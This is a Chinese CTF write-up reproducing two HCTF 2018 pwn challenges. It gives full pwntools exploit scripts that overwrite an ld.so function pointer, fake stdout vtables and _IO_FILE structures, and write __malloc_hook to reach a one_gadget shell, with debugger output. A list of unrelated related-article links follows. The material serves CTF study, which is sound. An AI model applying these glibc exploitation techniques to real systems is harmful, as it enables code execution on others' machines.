相关文件位置

https://gitee.com/hac425/blog_data/tree/master/hctf2018

the_end

程序功能为,首先 打印出 libc 的地址, 然后可以允许任意地址写 5 字节。

解法一

在调用 exit 函数时, 最终在 ld.so 里面的 _dl_fini 函数会使用

0x7ffff7de7b2e <_dl_fini+126>:       call   QWORD PTR [rip+0x216414]        # 0x7ffff7ffdf48 <_rtld_global+3848>

取出 libc 里面的一个函数指针, 然后跳转过去, 所以思路就是写这个函数指针为 one_gadget , 然后调用 exit 时就会拿到 shell.

找这个调用位置时,可以把 _rtld_global+3848 改成 0 然后程序崩溃时,看下栈回溯就能找到位置了。

所以 poc 如下

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
from time import sleep context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
# context.terminal = ['tmux', 'splitw', '-v'] path = "/home/hac425/vm_data/pwn/hctf/the_end"
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") p = process(path, aslr=1) p = remote("127.0.0.1", 10002) # gdb.attach(p)
# pause() p.recvuntil("here is a gift ")
leak = p.recvuntil(",", drop=True)
libc.address = int(leak, 16) - libc.symbols['sleep']
info("libc.address: " + hex(libc.address)) one_gadget = p64(libc.address + 0xf02a4) # call QWORD PTR [rip+0x216414] # 0x7ffff7ffdf48 <_rtld_global+3848>
target = libc.address + 0x5f0f48 sleep(0.1) for i in range(5):
p.send(p64(target + i))
sleep(0.1)
p.send(one_gadget[i]) p.sendline("exec /bin/sh 1>&0")
p.interactive()

因为关闭了 stdoutstderr , 使用 exec /bin/sh 1>&0 才能得到一个有回显的 shell , 不过貌似只能在使用 socat 挂载的时候能用貌似, 直接 pwntools 起就没有反应。

解法二

利用的是在程序调用 exit 后,会进入

https://code.woboq.org/userspace/glibc/libio/genops.c.html#817

函数会遍历 _IO_list_all 调用 fp->vtable->_setbuf 函数.

这里就可以使用两个 字节修改 stdout->vtable 到另外一个地址 作为 fake_vtable , 然后使用 3 个字节修改 fake_vtable ->_setbufone_gadget. 然后到这里时就会执行 one_gadget

所以 fake_vtable 的要求就是在修改 fake_vtable ->_setbuf3 个字节的情况下能变成 one_gadget 的地址。 因为是部分写,直接在 vtable 附近找找就行。

from pwn import *
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h'] def pwn(p):
p.recvuntil('here is a gift ')
libc_base = int(p.recvuntil(',', drop=True), 16) - 0x0CC230
stdout_vtable = libc_base + 0x3c56f8
fake_io_jump = 0x3c3fb0 + libc_base
remote_addr = libc_base + 0x3c4008
one_gadget = libc_base + 0xF02B0 gdb.attach(p, """
break exit
""")
pause() log.success('libc: {}'.format(hex(libc_base)))
log.success('stdout_vtable: {}'.format(hex(stdout_vtable)))
log.success('fake_io_jump: {}'.format(hex(fake_io_jump)))
log.success('remote_addr: {}'.format(hex(remote_addr)))
log.success('one_gadget: {}'.format(hex(one_gadget)))
pause() #0x3c5c58
payload = p64(stdout_vtable)
payload += p64(fake_io_jump)[0]
payload += p64(stdout_vtable + 1)
payload += p64(fake_io_jump)[1] payload += p64(remote_addr)
payload += p64(one_gadget)[0]
payload += p64(remote_addr + 1)
payload += p64(one_gadget)[1]
payload += p64(remote_addr + 2)
payload += p64(one_gadget)[2] p.send(payload)
p.sendline("exec /bin/sh 1>&0")
p.interactive() if __name__ == '__main__':
path = "/home/hac425/vm_data/pwn/hctf/the_end"
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p = process(path, aslr=0)
# p = remote("127.0.0.1", 10002)
pwn(p)

babyprintf_ver2

程序的逻辑比较简单,往 data 段里面的一个 8 字节大小的区域读入 0x200 字节, 会覆盖掉 stdout 指针。

0x200 大小足够大了, 可以伪造 _IO_FILE_plus 结构体, 然后修改 stdout 指针为伪造的结构体, 不过这里会恢复 vtable , 所以不能通过改 vtable 来实现代码执行。

这题引入了一种新的 FILE 结构体的利用, 在能修改 stdout 结构体里面的缓冲区指针的情况下,仅调用 printf 也能实现任意地址读写。

解法一

首先利用 利用 write_basewrite_ptr 进行信息泄露, leak write_base 的字符串。

然后利用 write_ptrwrite_end 实现任意地址写 , 貌似是 printf 里面会有 memcpy , 导致可以复制输入字符串 strwrite_ptr , 长度为 strlen(str)

这种方式比较新奇, 貌似之前都没有提到过。仅仅通过修改 stdout 的一些指针,就能在 printf 的时候实现任意地址读写。

最后改 malloc_hookone_gadget, 然后使用 %n 触发 malloc.

可以调调 exp, 完整 exp

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
from time import sleep
from utils import * context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
# context.terminal = ['tmux', 'splitw', '-v'] path = "/home/hac425/vm_data/pwn/hctf/babyprintf_ver2"
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
bin = ELF(path) p = process(path, aslr=0) def ru(x):
return p.recvuntil(x) def se(x):
p.send(x) ru('So I change the buffer location to ') buffer = int(ru('\n'), 16)
pbase = buffer - 0x202010
bin.address = pbase
info("pbase: " + hex(pbase)) # pause() ru('Have fun!') target = bin.got['setbuf'] file = p64(0xfbad2887) + p64(pbase + 0x201FB0) # flag + read_ptr
file += p64(target) + p64(target) # read_end + read_base, read_end 和 write_base 要一致
file += p64(target) + p64(target + 0x8) # write_base + write_ptr , 利用 write_base 和 write_ptr ,leak
file += p64(target) + p64(target) # write_end + buf_base
file += p64(target) + p64(0) # buf_end + save_base
file += p64(0) + p64(0)
file += p64(0) + p64(0)
file += p64(1) + p64(0xffffffffffffffff)
file += p64(0) + p64(buffer + 0x200) # _lock, 要指向 *_lock = 0
file += p64(0xffffffffffffffff) + p64(0)
file += p64(buffer + 0x210) + p64(0) # _wide_data , 一块可写内存地址
file += p64(0) + p64(0)
file += p64(0x00000000ffffffff) + p64(0)
file += p64(0) + p64(0) se(p64(0xdeadbeef) * 2 + p64(buffer + 0x18) + file + '\n') ru('permitted!\n')
leak = u64(ru('\x00\x00')) libc.address = leak - libc.symbols['setbuf']
info("leak : " + hex(leak))
info("libc.address : " + hex(libc.address))
# gdb.attach(p)
# pause() malloc_hook = libc.symbols['__malloc_hook']
free_hook = libc.symbols['__free_hook'] sleep(0.2) file = p64(0xfbad2887) + p64(malloc_hook) # flag + read_ptr
file += p64(malloc_hook) + p64(malloc_hook) # read_end + read_base, read_end 和 write_base 要一致
file += p64(malloc_hook) + p64(free_hook) # write_base + write_ptr
file += p64(free_hook + 8) + p64(malloc_hook) # write_end + buf_base
file += p64(malloc_hook) + p64(0) # buf_end + save_base
file += p64(0) + p64(0)
file += p64(0) + p64(0)
file += p64(1) + p64(0xffffffffffffffff)
file += p64(0) + p64(buffer + 0x220)
file += p64(0xffffffffffffffff) + p64(0)
file += p64(buffer + 0x230) + p64(0)
file += p64(0) + p64(0)
file += p64(0x00000000ffffffff) + p64(0)
file += p64(0) + p64(0) one_gadget = libc.address + 0x4526a # 就是等 printf 时, 就会把开头的数据 写到目的地址
se(p64(one_gadget) * 2 + p64(buffer + 0x18) + file + '\n')
info("修改 malloc_hook")
pause() sleep(0.5) se('%n\n') print(hex(pbase))
print(hex(leak)) p.interactive() """
# 0x555555756020 stdout
p *(struct _IO_FILE *)0x0000555555756028
"""

解法二

来自

https://ctftime.org/writeup/12124

exp 看的出来这位大佬对 printf 非常的熟悉。下面分析分析 exp

leak 阶段采取的方式是

此时的 file 结构体为, _IO_read_end = _IO_write_base 为要 leak 的起始地址
_IO_write_ptr 为要 leak 数据的终止地址 pwndbg> p *(struct _IO_FILE *)0x0000555555756030
$1 = {
_flags = -72537977,
_IO_read_ptr = 0x0,
_IO_read_end = 0x555555756108 "\340f\t\253\252*",
_IO_read_base = 0x0,
_IO_write_base = 0x555555756108 "\340f\t\253\252*", # 要泄露的地址
_IO_write_ptr = 0x555555756110 "", # 结尾,用于计算长度
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 1,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x555555756110, # 指向 0 内存
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
}

仅仅设置了一些必要的字段,当 printf 时,就能 leak0x555555756108 的数据了。

任意地址写的构造就更加的巧妙了。

_IO_read_end 设置为我们输入数据的位置, 然后把 _IO_buf_base 设置为需要写的位置。

然后第一次调用 printf 后,会 把其他的字段填充

接着会进入

https://code.woboq.org/userspace/glibc/libio/fileops.c.html#788

开始不断往 _IO_buf_base 写 一字节, 最后的结果是 _IO_buf_base 会被写入 我们输入数据的最后一个字节

input[strlen(input) - 1]   ---> 即处 \x00 外的最后一个字节

可在 _IO_buf_base 下读写监视点来查看

此时在发送一个字节长的字符串, 会再次往刚刚的位置写这个字节,这样就能实现任意地址 1 字节写。

        # 每次写一个字节
s.sendline(chr(what & 0xff))

多次调用实现任意地址写。然后写 malloc_hook%66000c 触发 malloc 的调用。

完整 exp

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
from utils import * context.aslr = False
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h'] # context.terminal = ['tmux', 'splitw', '-v'] # Credits: https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/
def pack_file(_flags=0,
_IO_read_ptr=0,
_IO_read_end=0,
_IO_read_base=0,
_IO_write_base=0,
_IO_write_ptr=0,
_IO_write_end=0,
_IO_buf_base=0,
_IO_buf_end=0,
_IO_save_base=0,
_IO_backup_base=0,
_IO_save_end=0,
_IO_marker=0,
_IO_chain=0,
_fileno=0,
_lock=0):
struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
struct = struct.ljust(0x88, "\x00")
struct += p64(_lock)
struct = struct.ljust(0xd8, "\x00")
return struct def write(what, where):
while what:
p = 'A' * 16
p += p64(buf + 32)
p += p64(0)
# https://code.woboq.org/userspace/glibc/libio/fileops.c.html#788
# 构造这样的结构会把输入数据的最后一个字节写到 where
p += pack_file(_flags=0xfbad2887,
_IO_read_end=buf,
_IO_buf_base=where,
_fileno=1,
_lock=buf + 0x100)
s.sendline(p)
# 每次写一个字节
s.sendline(chr(what & 0xff))
where += 1
what >>= 8 def leak(where):
p = 'A' * 16
p += p64(buf + 32)
p += p64(0) """
此时的 file 结构体为, _IO_read_end = _IO_write_base 为要 leak 的起始地址, _IO_write_ptr 为要 leak 数据的终止地址
"""
p += pack_file(_flags=0xfbad2887,
_IO_read_end=where,
_IO_write_base=where,
_IO_write_ptr=where + 8,
_fileno=1,
_lock=buf + 0x100)
s.sendline(p)
s.recvline()
return u64(s.recv(8)) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
ONE_SHOT = 0x4526A
s = process('/home/hac425/vm_data/pwn/hctf/babyprintf_ver2') s.recvuntil('0x')
buf = int(s.recv(12), 16) print 'buf @ ' + hex(buf)
gdb.attach(s)
pause() s.recvuntil('Have fun!\n') libc_base = leak(buf + 0xf8) - libc.symbols['_IO_file_jumps']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
one_shot = libc_base + ONE_SHOT print 'libc @ ' + hex(libc_base)
pause() write(one_shot, malloc_hook) s.sendline('%66000c')
# s.recvuntil('\x7f') s.interactive() """
p *(struct _IO_FILE *)0x0000555555756030 """

参考

https://xz.aliyun.com/t/3261#toc-2

https://xz.aliyun.com/t/3255#toc-13

https://ctftime.org/writeup/12124

HCTF2018 pwn题复现的更多相关文章

  1. 百度杯 十一月 的一道pwn题复现

    拿到题后,就直接开鲁.. /ctf/pwn# checksec pwnme [*] '/ctf/pwn/pwnme' Arch: amd64--little RELRO: Full RELRO Sta ...

  2. pwn 题GDB调试技巧和exp模板

    GDB分析ELF文件常用的调试技巧 gdb常用命令 首先是gbd+文件名 静态调试 ,gdb attach +文件名 动态调试 为了方便查看堆栈和寄存器 最好是安装peda插件 安装 可以通过pip直 ...

  3. 由一道CTF pwn题深入理解libc2.26中的tcache机制

    本文首发安全客:https://www.anquanke.com/post/id/104760 在刚结束的HITB-XCTF有一道pwn题gundam使用了2.26版本的libc.因为2.26版本中加 ...

  4. PWN题搭建

    0x00.准备题目 例如:level.c #include <stdio.h> #include <unistd.h> int main(){ char buffer[0x10 ...

  5. 第一解出的pwn题

    虽然题目不难,但是 是我第一次做出的pwn题,得写下. __int64 sub_4007E6() { char s1; // [sp+0h] [bp-30h]@1 memset(&s1, , ...

  6. [原题复现]HCTF 2018 Warmup(文件包含)

    HCTF 2018 Warmup 原题复现:https://gitee.com/xiaohua1998/hctf_2018_warmup 考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意 ...

  7. [原题复现]2019上海大学生WEB-Decade(无参数RCE、Fuzz)

    简介  原题复现:  考察知识点:无参数命令执行.Fuzz  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 环境复现 ...

  8. [原题复现]ByteCTF 2019 –WEB- Boring-Code[无参数rce、绕过filter_var(),等]

    简介  原题复现:  考察知识点:无参数命令执行.绕过filter_var(), preg_match()  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使 ...

  9. [原题复现][CISCN 2019 初赛]WEB-Love Math(无参数RCE)[未完结]

    简介  原题复现:  考察知识点:无参数命令执行  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 源码审计 代码 1 ...

随机推荐

  1. 【原创】手动导入SQLServer数据到SQLCE方法

    我找到一个工具,可以很容易把SQLServer里的数据导入到SQLCE: 工具名:Export2SqlCe.exe, 下载路径: http://exportsqlce.codeplex.com/rel ...

  2. 课程一(Neural Networks and Deep Learning),第四周(Deep Neural Networks)—— 0.学习目标

    Understand the key computations underlying deep learning, use them to build and train deep neural ne ...

  3. Mac 下配置 Python 开发环境

    ➜ ~ sudo brew install python3 ==> Downloading https://www.python.org/ftp/python/3.5.1/Python-3.5. ...

  4. js字符串替换

    <script language="javascript">var r= "1\n2\n3\n";//将字母\n替换成分号alert(r.repla ...

  5. mysql delimiter的说明

    默认情况下,mysql解释器一遇到分号(;),它就要自动执行. 不会等到用户把这些语句全部输入完之后,再执行整段语句. 而自定义函数和存储过程的SQL语句有好多行,且语句中包含有分号,为了保证整段语句 ...

  6. postgresql逻辑结构--视图(五)

    定义 一.创建视图 1.语法 create [or replace ]  [ temp |  temporary ]  view name [(column_name [,...])]  as que ...

  7. sqoop部署及使用

    一.概述 sqoop是hive.hdfs.hbase等与RDMBS(mysql等)之间的沟通桥梁,主要通过JDBC与RDMBS进行交互.有两个版本sqoop1和sqoop2,sqoop1架构简单,使用 ...

  8. 使用Akka构建集群(二)

    前言 在<使用Akka构建集群(一)>一文中通过简单集群监听器的例子演示了如何使用Akka搭建一个简单的集群,但是这个例子“也许”离我们的实际业务场景太远,你基本不太可能去做这样的工作,除 ...

  9. 设计模式学习--面向对象的5条设计原则之单一职责原则--SRP

    一.SRP简介(SRP--Single-Responsibility Principle): 就一个类而言,应该只专注于做一件事和仅有一个引起它变化的原因.   所谓职责,我们可以理解他为功能,就是设 ...

  10. Fork/Join 框架-设计与实现(翻译自论文《A Java Fork/Join Framework》原作者 Doug Lea)

    作者简介 Dong Lea任职于纽约州立大学奥斯威戈分校(State University of New York at Oswego),他发布了第一个广泛使用的java collections框架实 ...